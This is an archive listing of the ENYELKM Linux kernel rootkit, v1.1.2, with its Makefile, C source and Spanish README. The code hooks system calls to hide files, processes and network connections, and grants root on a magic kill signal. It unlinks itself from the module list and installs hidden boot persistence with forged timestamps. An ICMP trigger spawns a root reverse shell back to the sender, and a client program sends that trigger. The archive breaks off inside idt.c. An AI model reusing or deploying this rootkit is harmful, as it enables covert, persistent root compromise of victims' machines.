enyelkm-1.1.2/0000755000077000007700000000000010542045641010102 5ustar enyelkm-1.1.2/Makefile0000644000077000007700000000376610542045605011556 0ustar obj-m += enyelkm.o enyelkm-objs := base.o kill.o ls.o read.o remoto.o idt.o DELKOS = base.ko kill.ko ls.ko read.ko remoto.ko idt.ko S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8` D_FORK = 0x`grep do_fork /proc/kallsyms | head -c 8` VERSION = v1.1.2 CC = gcc CFLAGS += -fomit-frame-pointer all: @echo @echo "-----------------------------------------" @echo " ENYELKM $(VERSION) by RaiSe" @echo " raise@enye-sec.org | www.enye-sec.org" @echo "-----------------------------------------" @echo @echo "#define DSYSENTER $(S_ENT)" > data.h @echo "#define DOFORK $(D_FORK)" >> data.h make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules $(CC) conectar.c -o conectar -Wall @rm -f $(DELKOS) conectar: @echo @echo "-----------------------------------------" @echo " ENYELKM $(VERSION) by RaiSe" @echo " raise@enye-sec.org | www.enye-sec.org" @echo "-----------------------------------------" @echo $(CC) conectar.c -o conectar -Wall @echo install: @echo @echo "-----------------------------------------" @echo " ENYELKM $(VERSION) by RaiSe" @echo " raise@enye-sec.org | www.enye-sec.org" @echo "-----------------------------------------" @echo @cp -f enyelkm.ko /etc/.enyelkmOCULTAR.ko @chattr +i /etc/.enyelkmOCULTAR.ko > /dev/null 2> /dev/null @echo -e "#\ninsmod /etc/.enyelkmOCULTAR.ko" \ \ " > /dev/null 2> /dev/null\n#" \ \ >> /etc/rc.d/rc.sysinit @touch -r /etc/rc.d/rc /etc/rc.d/rc.sysinit > /dev/null 2> /dev/null @insmod /etc/.enyelkmOCULTAR.ko @echo + enyelkm.ko copiado a /etc/.enyelkmOCULTAR.ko @echo + instalada cadena de autocarga en /etc/rc.d/rc.sysinit oculta @echo + enyelkm cargado ! @echo clean: @echo @echo "-----------------------------------------" @echo " ENYELKM $(VERSION) by RaiSe" @echo " raise@enye-sec.org | www.enye-sec.org" @echo "-----------------------------------------" @echo @rm -rf *.o *.ko *.mod.c .*.cmd data.h conectar .tmp_versions make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean enyelkm-1.1.2/kill.c0000644000077000007700000000212310373542204011176 0ustar /* * ENYELKM v1.1 * Linux Rootkit x86 kernel v2.6.x * * By RaiSe * < raise@enye-sec.org * http://www.enye-sec.org > */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "config.h" #define SIG 58 #define PID 12345 /* declaraciones externas */ extern asmlinkage int (*orig_kill)(pid_t pid, int sig); asmlinkage int hacked_kill(pid_t pid, int sig) { struct task_struct *ptr = current; int tsig = SIG, tpid = PID, ret_tmp; if ((tpid == pid) && (tsig == sig)) { ptr->uid = 0; ptr->euid = 0; ptr->gid = 0; ptr->egid = 0; return(0); } else { ret_tmp = (*orig_kill)(pid, sig); return(ret_tmp); } return(-1); } /********** fin hacked_kill ************/ // EOF enyelkm-1.1.2/ls.c0000644000077000007700000000463410373542111010667 0ustar /* * ENYELKM v1.1 * Linux Rootkit x86 kernel v2.6.x * * By RaiSe * < raise@enye-sec.org * http://www.enye-sec.org > */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "config.h" /* declaraciones externas */ extern asmlinkage long (*orig_getdents64) (unsigned int fd, struct dirent64 *dirp, unsigned int count); asmlinkage long hacked_getdents64 (unsigned int fd, struct dirent64 *dirp, unsigned int count) { struct dirent64 *td1, *td2; long ret, tmp; unsigned long hpid; short int mover_puntero, ocultar_proceso; /* llamamos a la syscall original */ ret = (*orig_getdents64) (fd, dirp, count); /* si vale cero retornamos */ if (!ret) return(ret); /* copiamos la lista al kernel space */ td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); __copy_from_user(td2, dirp, ret); /* inicializamos punteros y contadores */ td1 = td2, tmp = ret; while (tmp > 0) { tmp -= td1->d_reclen; mover_puntero = 1; ocultar_proceso = 0; hpid = 0; hpid = simple_strtoul(td1->d_name, NULL, 10); /* ocultacion de procesos */ if (hpid != 0) { struct task_struct *htask = current; /* buscamos el pid */ do { if(htask->pid == hpid) break; else htask = next_task(htask); } while (htask != current); /* lo ocultamos */ if (((htask->pid == hpid) && (htask->gid == SGID)) || ((htask->pid == hpid) && (strstr(htask->comm, SHIDE) != NULL))) ocultar_proceso = 1; } /* ocultacion de ficheros/directorios */ if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL)) { /* una entrada menos */ ret -= td1->d_reclen; /* no moveremos el puntero al siguiente */ mover_puntero = 0; if (tmp) /* no es el ultimo */ memmove(td1, (char *) td1 + td1->d_reclen, tmp); } if ((tmp) && (mover_puntero)) td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); } /* fin while */ /* copiamos la lista al user space again */ __copy_to_user((void *) dirp, (void *) td2, ret); kfree(td2); return(ret); } /********** fin hacked_getdents[64] *********/ /* EOF */ enyelkm-1.1.2/config.h0000644000077000007700000000054410373541545011531 0ustar /* * Fichero de configuracion */ /* modo debug */ #define DEBUG 0 /* clave del icmp */ #define ICMP_CLAVE "ENYELKMICMPKEY" /* clave para ocultar ficheros, directorios y procesos */ #define SHIDE "OCULTAR" /* gid magico, todos los procesos con esta gid se ocultan */ #define SGID 0x489196ab /* directorio home de la shell remota */ #define HOME "/" enyelkm-1.1.2/base.c0000644000077000007700000001165410542041421011157 0ustar /* * ENYELKM v1.1 * Linux Rootkit x86 kernel v2.6.x * * By RaiSe * < raise@enye-sec.org * http://www.enye-sec.org > */ #include "base.h" unsigned long dire_exit, after_call; unsigned long dire_call, p_hacked_kill, global_ip; unsigned long p_hacked_getdents64, p_hacked_read; short read_activo, lanzar_shell; void *sysenter_entry; void **sys_call_table; struct packet_type my_pkt; unsigned short global_port; int errno; /* punteros a syscalls originales */ asmlinkage int (*orig_kill)(pid_t pid, int sig); asmlinkage long (*orig_getdents64) (unsigned int fd, struct dirent64 *dirp, unsigned int count); /* prototipos funciones */ void *get_system_call(void); void *get_sys_call_table(void *system_call); void set_idt_handler(void *system_call); void set_sysenter_handler(void *sysenter); #define ORIG_EXIT 19 #define DIRECALL 42 #define SALTO 5 #define SKILL 49 #define SGETDENTS64 57 #define SREAD 65 #define DAFTER_CALL 70 #define DNRSYSCALLS 10 /* handler */ char idt_handler[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x90\x90\x00\x00\x73\x02" "\xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x12\x3d\xdc\x00" "\x00\x00\x74\x13\x83\xf8\x03\x74\x16\x68\x90\x90\x90\x90\xc3\xff" "\x15\x90\x90\x90\x90\xeb\x0e\xff\x15\x90\x90\x90\x90\xeb\x06\xff" "\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3"; int init_module(void) { void *s_call; struct module *m = &__this_module; /* borramos nuestro modulo de la lista */ if (m->init == init_module) list_del(&m->list); sysenter_entry = (void *) DSYSENTER; /* NR_syscalls limite */ *((short int *) &idt_handler[DNRSYSCALLS]) = (short int) NR_syscalls; /* variables intermedias a las syscalls hackeadas */ p_hacked_kill = (unsigned long) hacked_kill; p_hacked_getdents64 = (unsigned long) hacked_getdents64; p_hacked_read = (unsigned long) hacked_read; /* variables de control */ lanzar_shell = read_activo = 0; global_ip = 0xffffffff; /* averiguar sys_call_table */ s_call = get_system_call(); sys_call_table = get_sys_call_table(s_call); /* punteros a syscalls originales */ orig_kill = sys_call_table[__NR_kill]; orig_getdents64 = sys_call_table[__NR_getdents64]; /* modificar los handlers */ set_idt_handler(s_call); set_sysenter_handler(sysenter_entry); /* insertamos el nuevo filtro */ my_pkt.type=htons(ETH_P_ALL); my_pkt.func=capturar; dev_add_pack(&my_pkt); #if DEBUG == 1 printk("enyelkm instalado!\n"); #endif return(0); } /*********** fin init_module ***********/ void cleanup_module(void) { /* dejar terminar procesos que estan 'leyendo' */ while (read_activo != 0) schedule(); #if DEBUG == 1 printk("enyelkm desinstalado!\n"); #endif } /*********** fin cleanup_module ************/ void *get_system_call(void) { unsigned char idtr[6]; unsigned long base; struct idt_descriptor desc; asm ("sidt %0" : "=m" (idtr)); base = *((unsigned long *) &idtr[2]); memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc)); return((void *) ((desc.off_high << 16) + desc.off_low)); } /*********** fin get_sys_call_table() ***********/ void *get_sys_call_table(void *system_call) { unsigned char *p; unsigned long s_c_t; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) p++; dire_call = (unsigned long) p; p += 3; s_c_t = *((unsigned long *) p); p += 4; after_call = (unsigned long) p; /* cli */ while (*p != 0xfa) p++; dire_exit = (unsigned long) p; return((void *) s_c_t); } /********** fin get_sys_call_table() *************/ void set_idt_handler(void *system_call) { unsigned char *p; unsigned long *p2; p = (unsigned char *) system_call; /* primer salto */ while (!((*p == 0x0f) && (*(p+1) == 0x83))) p++; p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) new_idt; p = (unsigned char *) p2; *p = 0xc3; /* syscall_trace_entry salto */ while (!((*p == 0x0f) && (*(p+1) == 0x82))) p++; p -= 5; *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) new_idt; p = (unsigned char *) p2; *p = 0xc3; p = idt_handler; *((unsigned long *)((void *) p+ORIG_EXIT)) = dire_exit; *((unsigned long *)((void *) p+DIRECALL)) = dire_call; *((unsigned long *)((void *) p+SKILL)) = (unsigned long) &p_hacked_kill; *((unsigned long *)((void *) p+SGETDENTS64)) = (unsigned long) &p_hacked_getdents64; *((unsigned long *)((void *) p+SREAD)) = (unsigned long) &p_hacked_read; *((unsigned long *)((void *) p+DAFTER_CALL)) = after_call; } /********** fin set_idt_handler() ***********/ void set_sysenter_handler(void *sysenter) { unsigned char *p; unsigned long *p2; p = (unsigned char *) sysenter; /* buscamos call */ while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) p++; /* buscamos el jae syscall_badsys */ while (!((*p == 0x0f) && (*(p+1) == 0x83))) p--; p -= 5; /* metemos el salto */ *p++ = 0x68; p2 = (unsigned long *) p; *p2++ = (unsigned long) new_idt; p = (unsigned char *) p2; *p = 0xc3; } /************* fin set_sysenter_handler **********/ /* Licencia GPL */ MODULE_LICENSE("GPL"); /* EOF */ enyelkm-1.1.2/kill.h0000644000077000007700000000011410373542170011203 0ustar /* funciones de kill.c */ asmlinkage int hacked_kill(pid_t pid, int sig); enyelkm-1.1.2/ls.h0000644000077000007700000000017710373542075010703 0ustar /* funciones de ls.c */ asmlinkage long hacked_getdents64 (unsigned int fd, struct dirent64 *dirp, unsigned int count); enyelkm-1.1.2/read.c0000644000077000007700000001434510374267771011205 0ustar /* * ENYELKM v1.1 * Linux Rootkit x86 kernel v2.6.x * * By RaiSe * < raise@enye-sec.org * http://www.enye-sec.org > */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "remoto.h" #include "config.h" #include "data.h" #define SSIZE_MAX 32767 /* define marcas */ #define MOPEN "#" #define MCLOSE "#" /* declaraciones externas */ extern short lanzar_shell; extern short read_activo; extern unsigned long global_ip; extern unsigned short global_port; /* do_fork */ long (*my_do_fork)(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size, int __user *parent_tidptr, int __user *child_tidptr) = (void *) DOFORK; struct file *e_fget_light(unsigned int fd, int *fput_needed) { struct file *file; struct files_struct *files = current->files; *fput_needed = 0; if (likely((atomic_read(&files->count) == 1))) { file = fcheck(fd); } else { spin_lock(&files->file_lock); file = fcheck(fd); if (file) { get_file(file); *fput_needed = 1; } spin_unlock(&files->file_lock); } return file; } /*********** fin get_light **********/ int checkear(void *arg, int size, struct file *fichero) { char *buf; /* si SSIZE_MAX <= size <= 0 retornamos -1 */ if ((size <= 0) || (size >= SSIZE_MAX)) return(-1); /* reservamos memoria para el buffer y copiamos */ buf = (char *) kmalloc(size+1, GFP_KERNEL); __copy_from_user((void *) buf, (void *) arg, size); buf[size] = 0; /* chequeamos las marcas */ if ((strstr(buf, MOPEN) != NULL) && (strstr(buf, MCLOSE) != NULL)) { /* se encontraron las dos, devolvemos 1 */ kfree(buf); return(1); } /* chequeamos /proc/net/tcp */ if ((fichero != NULL) && (fichero->f_dentry != NULL) && (fichero->f_dentry->d_parent != NULL) && (fichero->f_dentry->d_parent->d_parent != NULL)) { /* todo correcto ? */ if((fichero->f_dentry->d_iname == NULL) || (fichero->f_dentry->d_parent->d_iname == NULL) || (fichero->f_dentry->d_parent->d_parent->d_inode == NULL)) { kfree(buf); return(-1); } /* /proc/net/tcp ? */ if(!strcmp(fichero->f_dentry->d_iname, "tcp") && !strcmp(fichero->f_dentry->d_parent->d_iname, "net") && (fichero->f_dentry->d_parent->d_parent->d_inode->i_ino == 1)) { /* devolvemos 2 para ocultar conexiones */ kfree(buf); return(2); } } /* liberamos y retornamos -1 para q no haga nada */ kfree(buf); return(-1); } /********** fin de checkear() *************/ int hide_marcas(void *arg, int size) { char *buf, *p1, *p2; int i, newret; /* reservamos y copiamos */ buf = (char *) kmalloc(size, GFP_KERNEL); __copy_from_user((void *) buf, (void *) arg, size); p1 = strstr(buf, MOPEN); p2 = strstr(buf, MCLOSE); p2 += strlen(MCLOSE); i = size - (p2 - buf); memmove((void *) p1, (void *) p2, i); newret = size - (p2 - p1); /* copiamos al user space, liberamos y retornamos */ __copy_to_user((void *) arg, (void *) buf, newret); kfree(buf); return(newret); } /********** fin de hide_marcas **********/ int ocultar_linea(char *linea) { char hide[128]; sprintf(hide, "%08X:", (unsigned int) global_ip); if (strstr(linea, hide) != NULL) /* ocultamos todos los sockets con nuestra ip */ return(1); /* no ocultamos nada */ return(0); } /******** fin de ocultar_linea *********/ int copiar_linea(char *dst, char *from, int index) { char *p, *p2, tmp; int i = 0; p = from; /* colocamos p en el principio de la linea */ while (i != index) { while (*p++ != 0x0a); /* nos pasamos */ if (p >= from+strlen(from)) return(0); i++; } p2 = p; /* p2 al final de la linea y ponemos un null temporal */ while (*p2++ != 0x0a) { /* por si no tiene fin de linea */ if(p2 >= from+strlen(from)) break; } tmp = *p2; *p2 = 0x00; /* copiamos y restauramos el char */ strcpy(dst, p); *p2 = tmp; return(1); } /*********** fin copiar_linea ***********/ int ocultar_netstat(char *arg, int size) { char linea[256], *buf, *dst; int cont = 0, ret; /* no deberia ocurrir nunca */ if (size == 0) return(size); /* reservamos y copiamos */ buf = (char *) kmalloc(size+1, GFP_KERNEL); __copy_from_user((void *) buf, (void *) arg, size); buf[size] = 0x00; /* reservamos buffer destino temporal */ dst = (char *) kmalloc(size+16, GFP_KERNEL); dst[0] = 0x00; while (copiar_linea(linea, buf, cont++)) if (!ocultar_linea(linea)) strcat(dst, linea); /* nuevo size posible */ ret = strlen(dst); /* copiamos al user space, liberamos y retornamos */ __copy_to_user((void *) arg, (void *) dst, ret); kfree(buf); kfree(dst); return(ret); } /************ fin ocultar_netstat ************/ asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes) { struct pt_regs regs; struct file *fichero; int fput_needed; ssize_t ret; /* se hace 1 copia del proceso y se lanza la shell */ if (lanzar_shell == 1) { memset(®s, 0, sizeof(regs)); regs.xds = __USER_DS; regs.xes = __USER_DS; regs.orig_eax = -1; regs.xcs = __KERNEL_CS; regs.eflags = 0x286; regs.eip = (unsigned long) reverse_shell; lanzar_shell = 0; (*my_do_fork)(0, 0, ®s, 0, NULL, NULL); } /* seteamos read_activo a uno */ read_activo = 1; /* error de descriptor no valido o no abierto para lectura */ ret = -EBADF; fichero = e_fget_light(fd, &fput_needed); if (fichero) { ret = vfs_read(fichero, buf, nbytes, &fichero->f_pos); /* aqui es donde analizamos el contenido y ejecutamos la funcion correspondiente */ switch(checkear(buf, ret, fichero)) { case 1: /* marcas */ ret = hide_marcas(buf, ret); break; case 2: /* ocultar conexion */ ret = ocultar_netstat(buf, ret); break; case -1: /* no hacer nada */ break; } fput_light(fichero, fput_needed); } /* seteamos read_activo a cero */ read_activo = 0; return ret; } /********** fin hacked_read **********/ // EOF enyelkm-1.1.2/read.h0000644000077000007700000000044510373542130011166 0ustar /* funciones de read.c */ asmlinkage ssize_t hacked_read(int fd, void *buf, size_t nbytes); int checkear(void *arg, int size); int hide_marcas(void *arg, int size); int ocultar_linea(char *linea); int ocultar_netstat(char *arg, int size); int copiar_linea(char *dst, char *from, int index); enyelkm-1.1.2/LEEME.txt0000644000077000007700000000744010374274022011477 0ustar ----------------------------------- ENYELKM v1.1 | by RaiSe Linux Rootkit x86 kernel v2.6.x < raise@enye-sec.org > < http://www.enye-sec.org > ----------------------------------- Testeado en kernels: + v2.6.3 + v2.6.14.3 + v2.6.11-1.1369_FC4 Para compilar: # make Para instalar: # make install Para compilar solo 'conectar': # make conectar * Lo que hace make install: - Copia el fichero enyelkm.ko a /etc/.enyelkmOCULTAR.ko, de forma que una vez cargado el modulo el fichero permanecera oculto. - Añade la cadena insmod /etc/.enyelkmOCULTAR.ko entre las marcas # y # al fichero /etc/rc.d/rc.sysinit, de forma que una vez cargado el modulo esas lineas permaneceran ocultas. - Carga el modulo mediante insmod /etc/.enyelkmOCULTAR.ko. - Intenta sobreescribir la fecha de archivo modificado de /etc/rc.d/rc.sysinit con la de /etc/rc.d/rc, y ponerle el atributo +i a /etc/.enyelkmOCULTAR.ko con touch y chattr respectivamente. * Ocultar ficheros, directorios y procesos: Se ocultan los ficheros, directorios y procesos que contengan la subcadena 'OCULTAR' en su nombre. En el caso de los procesos tambien se ocultan los que tengan gid = 0x489196ab. La shell remota (ver acceso remoto mas abajo) corre con ese gid, por lo que la shell y todos los procesos que se lancen desde ella permaneceran ocultos. * Ocultar partes de un fichero: Se oculta en un fichero todo lo que este entre las marcas: (marcas incluidas) # texto a ocultar # * Consiguiendo root local: Haciendo: # kill -s 58 12345 se consigue id 0. * Ocultacion del modulo a 'lsmod': El modulo se auto_oculta al cargarlo. * Ocultacion del modulo a '/sys/module': Para que no aparezca el modulo en ese directorio basta con renombrar el LKM para que lleve la cadena OCULTAR en su nombre antes de cargarlo; como hace 'make install' por ejemplo. * Acceso remoto: Usar el programa 'conectar', que va incluido en el tgz. Se compila con el make del LKM. Ejecutar de la forma: './conectar ip_maquina_con_lkm'. El programa enviara un ICMP especial, y abrira un puerto a la escucha en la que recibira la reverse shell. Para salir de la shell: control+c. * Ocultacion de la conexion de la reverse shell al netstat: Se auto_ocultan todas las conexiones a la ip que envio el ICMP con el programa conectar. * Desinstalacion del modulo: El modulo no puede descargarse mediante 'rmmod' ya que permanece oculto. Y aunque estuviera visible no se podria ya que el sistema dejaria de funcionar. La unica forma es reiniciando el sistema. En caso de haber hecho 'make install', una forma de quitar la cadena oculta de /etc/rc.d/rc.sysinit es editando ese fichero y guardandolo sin modificar nada, de esa forma se guardara sin la cadena ya que el editor no la 've'. Luego reiniciar. Una forma sencilla de mirar si el LKM esta cargado es haciendo un 'kill -s 58 12345' y mirando si da root. [ -- ] --> En la version 1.2: Para la version 1.2 voy a ver si mejoro el sistema de ocultar la conexion cuando se usa el acceso remoto. Ahora mismo lo hace a traves de sys_read y el fichero /proc/net/tcp. Como netstat hace 'reads' de 300 en 300 bytes, hay una pequeña posibilidad de que si en medio de un read y el siguiente esta el socket con nuestra conexion oculta, el netstat muestre una linea que ponga: 'bogus line'. Nuestra ip nunca se mostrara, y aunque normalmente nunca vaya a ocurrir eso, a ver si para la v1.2 se ocultan las conexiones de otra forma. De paso tambien a ver si evito usar /proc/kallsyms para conseguir do_fork y sysenter_entry. Tambien intentare adaptarlo para que compile y funcione en kernels 2.4.x. -> Agradecimientos: Gracias a kenshin por darme algunas ideas, y ayudarme a mejorarlo y a testearlo ;). EOF enyelkm-1.1.2/remoto.h0000644000077000007700000000035610374251545011571 0ustar /* funciones de remoto.c */ int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt, struct net_device *dev2); int reverse_shell(void *ip); void ejecutar_shell(void); int get_pty(void); void eco_off(void); enyelkm-1.1.2/remoto.c0000644000077000007700000001410510374270724011561 0ustar /* * ENYELKM v1.1 * Linux Rootkit x86 kernel v2.6.x * * By RaiSe * < raise@enye-sec.org * http://www.enye-sec.org > */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "config.h" #include "remoto.h" #define __NR_e_exit __NR_exit /* variables globales */ static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL }; extern short lanzar_shell; extern int errno; extern unsigned long global_ip; extern unsigned short global_port; int ptmx, epty; /* variables de entorno */ char *env[]={ "TERM=linux", "HOME=" HOME, "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin" ":/usr/local/sbin", "HISTFILE=/dev/null", NULL }; /* syscalls */ static inline _syscall2(int, kill, pid_t, pid, int, sig); static inline _syscall1(int, chdir, const char *, path); static inline _syscall3(int, write, int, fd, const char *, buf, off_t, count); static inline _syscall3(int, read, int, fd, char *, buf, off_t, count); static inline _syscall1(int, e_exit, int, exitcode); static inline _syscall3(int, open, const char *, file, int, flag, int, mode); static inline _syscall1(int, close, int, fd); static inline _syscall2(int, dup2, int, oldfd, int, newfd); static inline _syscall2(int, socketcall, int, call, unsigned long *, args); static inline _syscall3(int, execve, const char *, filename, const char **, argv, const char **, envp); static inline _syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg); static inline _syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *, writefds, fd_set *, exceptfds, struct timeval *, timeout); /* do_fork */ extern long (*my_do_fork)(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size, int __user *parent_tidptr, int __user *child_tidptr); int reverse_shell(void *ip) { struct task_struct *ptr = current; struct sockaddr_in dire; struct pt_regs regs; mm_segment_t old_fs; unsigned long arg[3]; int soc, tmp_pid; unsigned char tmp; fd_set s_read; old_fs = get_fs(); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; arg[0] = AF_INET; arg[1] = SOCK_STREAM; arg[2] = 0; set_fs(KERNEL_DS); if ((soc = socketcall(SYS_SOCKET, arg)) == -1) { set_fs(old_fs); lanzar_shell = 1; e_exit(-1); return(-1); } memset((void *) &dire, 0, sizeof(dire)); dire.sin_family = AF_INET; dire.sin_port = htons((unsigned short) global_port); dire.sin_addr.s_addr = (unsigned long) global_ip; arg[0] = soc; arg[1] = (unsigned long) &dire; arg[2] = (unsigned long) sizeof(dire); if (socketcall(SYS_CONNECT, arg) == -1) { close(soc); set_fs(old_fs); lanzar_shell = 1; e_exit(-1); return(-1); } /* pillamos tty */ epty = get_pty(); /* ejecutamos shell */ set_fs(old_fs); memset(®s, 0, sizeof(regs)); regs.xds = __USER_DS; regs.xes = __USER_DS; regs.orig_eax = -1; regs.xcs = __KERNEL_CS; regs.eflags = 0x286; regs.eip = (unsigned long) ejecutar_shell; tmp_pid = (*my_do_fork)(0, 0, ®s, 0, NULL, NULL); set_fs(KERNEL_DS); while(1) { FD_ZERO(&s_read); FD_SET(ptmx, &s_read); FD_SET(soc, &s_read); _newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL); if (FD_ISSET(ptmx, &s_read)) { if (read(ptmx, &tmp, 1) == 0) break; write(soc, &tmp, 1); } if (FD_ISSET(soc, &s_read)) { if (read(soc, &tmp, 1) == 0) break; write(ptmx, &tmp, 1); } } /* fin while */ /* matamos el proceso */ kill(tmp_pid, SIGKILL); /* salimos */ set_fs(old_fs); e_exit(0); return(-1); } /********** fin reverse_shell **********/ int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt, struct net_device *dev2) { unsigned short len; char buf[256]; int i; /* debe ser icmp */ if (skb->nh.iph->protocol != 1) { kfree_skb(skb); return(0); } /* el icmp debe ser para nosotros */ if (skb->pkt_type != PACKET_HOST) { kfree_skb(skb); return(0); } len = (unsigned short) skb->nh.iph->tot_len; len = htons(len); /* no es nuestro icmp */ if (len != (28 + strlen(ICMP_CLAVE) + sizeof(unsigned short))) { kfree_skb(skb); return(0); } /* copiamos el packete */ memcpy (buf, (void *) skb->nh.iph, len); /* borramos los null */ for (i=0; i < len; i++) if (buf[i] == 0) buf[i] = 1; buf[len] = 0; if(strstr(buf,ICMP_CLAVE) != NULL) { unsigned short *puerto; puerto = (unsigned short *) ((void *)(strstr(buf,ICMP_CLAVE) + strlen(ICMP_CLAVE))); global_port = *puerto; global_ip = skb->nh.iph->saddr; lanzar_shell = 1; } kfree_skb(skb); return(0); } /******** fin capturar() *********/ int get_pty(void) { char buf[128]; int npty, lock = 0; ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU); /* pillamos pty libre */ ioctl(ptmx, TIOCGPTN, (unsigned long) &npty); /* bloqueamos */ ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock); /* abrimos pty */ sprintf(buf, "/dev/pts/%d", npty); npty = open(buf, O_RDWR, S_IRWXU); /* devolvemos el descriptor */ return(npty); } /*************** fin de get_pty() **************/ void eco_off(void) { struct termios term; ioctl(0, TCGETS, (unsigned long) &term); term.c_lflag = term.c_lflag || CLOCAL; ioctl(0, TCSETS, (unsigned long) &term); } /************* fin de eco_off **************/ void ejecutar_shell(void) { struct task_struct *ptr = current; mm_segment_t old_fs; old_fs = get_fs(); set_fs(KERNEL_DS); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; /* dupeamos */ dup2(epty, 0); dup2(epty, 1); dup2(epty, 2); /* quitamos eco */ eco_off(); /* cambiamos a home */ chdir(HOME); execve(earg[0], (const char **) earg, (const char **) env); /* salimos en caso de error */ e_exit(-1); } /************ fin ejecutar_shell ***********/ /* EOF */ enyelkm-1.1.2/conectar.c0000644000077000007700000000736110374263724012062 0ustar /* * ENYELKM v1.1 * Linux Rootkit x86 kernel v2.6.x * * By RaiSe * < raise@enye-sec.org * http://www.enye-sec.org > */ #include #include #include #include #include #include #include #include #include #include #include #include #include "config.h" int enviar_icmp(char *ipdestino, unsigned short puerto); int main(int argc, char *argv[]) { struct sockaddr_in dire; unsigned short puerto; int soc, soc2; fd_set s_read; unsigned char tmp; if(geteuid()) { printf("\nNecesitas ser root (para usar raw sockets).\n\n"); exit(-1); } if (argc < 2) { printf("\nPrograma para activar el acceso remoto del enyelkm:\n"); printf("\n%s ip_destino [puerto]\n\n", argv[0]); exit(-1); } if (argc > 2) puerto = (unsigned short) atoi(argv[2]); else puerto = 8822; if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("error al crear el socket.\n"); exit(-1); } bzero((char *) &dire, sizeof(dire)); dire.sin_family = AF_INET; dire.sin_port = htons(puerto); dire.sin_addr.s_addr = htonl(INADDR_ANY); while(bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1) dire.sin_port = htons(++puerto); listen(soc, 5); printf("\n* Lanzando reverse_shell:\n\n"); fflush(stdout); enviar_icmp(argv[1], puerto); printf("Esperando shell en puerto %d (puede tardar unos segundos) ...\n", (int) puerto); fflush(stdout); soc2 = accept(soc, NULL, 0); printf("lanzando shell ...\n\n"); printf("id\n"); fflush(stdout); write(soc2, "id\n", 3); while(1) { FD_ZERO(&s_read); FD_SET(0, &s_read); FD_SET(soc2, &s_read); select((soc2 > 0 ? soc2+1 : 0+1), &s_read, 0, 0, NULL); if (FD_ISSET(0, &s_read)) { if (read(0, &tmp, 1) == 0) break; write(soc2, &tmp, 1); } if (FD_ISSET(soc2, &s_read)) { if (read(soc2, &tmp, 1) == 0) break; write(1, &tmp, 1); } } /* fin while(1) */ exit(0); } /***** fin de main() *****/ int enviar_icmp(char *ipdestino, unsigned short puerto) { int soc, n, tot; long sum; unsigned short *p; struct sockaddr_in adr; unsigned char pqt[4096]; struct iphdr *ip = (struct iphdr *) pqt; struct icmphdr *icmp = (struct icmphdr *)(pqt + sizeof(struct iphdr)); char *data = (char *)(pqt + sizeof(struct iphdr) + sizeof(struct icmphdr)); bzero(pqt,4096); bzero(&adr, sizeof(adr)); strcpy(data, ICMP_CLAVE); p = (unsigned short *)((void *)(data + strlen(data))); *p = puerto; tot = sizeof(struct iphdr) + sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto); if((soc=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == -1) { perror("Error al crear el socket.\n"); exit(-1); } adr.sin_family = AF_INET; adr.sin_port = 0; adr.sin_addr.s_addr = inet_addr(ipdestino); ip->ihl = 5; ip->version = 4; ip->id = rand() % 0xffff; ip->ttl = 0x40; ip->protocol = 1; ip->tos = 0; ip->tot_len = htons(tot); ip->saddr = 0; ip->daddr = inet_addr(ipdestino); icmp->type = ICMP_ECHO; icmp->code = 0; icmp->un.echo.id = getpid() && 0xffff; icmp->un.echo.sequence = 0; printf("Enviando ICMP ...\n"); fflush(stdout); n = sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto); icmp->checksum = 0; sum = 0; p = (unsigned short *)(pqt + sizeof(struct iphdr)); while (n > 1) { sum += *p++; n -= 2; } if (n == 1) { unsigned char pad = 0; pad = *(unsigned char *)p; sum += (unsigned short) pad; } sum = ((sum >> 16) + (sum & 0xffff)); icmp-> checksum = (unsigned short) ~sum; if ((n = (sendto(soc, pqt, tot, 0, (struct sockaddr*) &adr, sizeof(adr)))) == -1) { perror("Error al enviar datos.\n"); exit(-1); } return(0); } /********* fin de enviar_icmp() ********/ /* EOF */ enyelkm-1.1.2/idt.c0000644000000000000000000000172510542045267012613 0ustar rootroot#include "idt.h" #define ASMIDType( valor ) \ __asm__ volatile( valor ); #define JmPushRet( valor ) \ ASMIDType 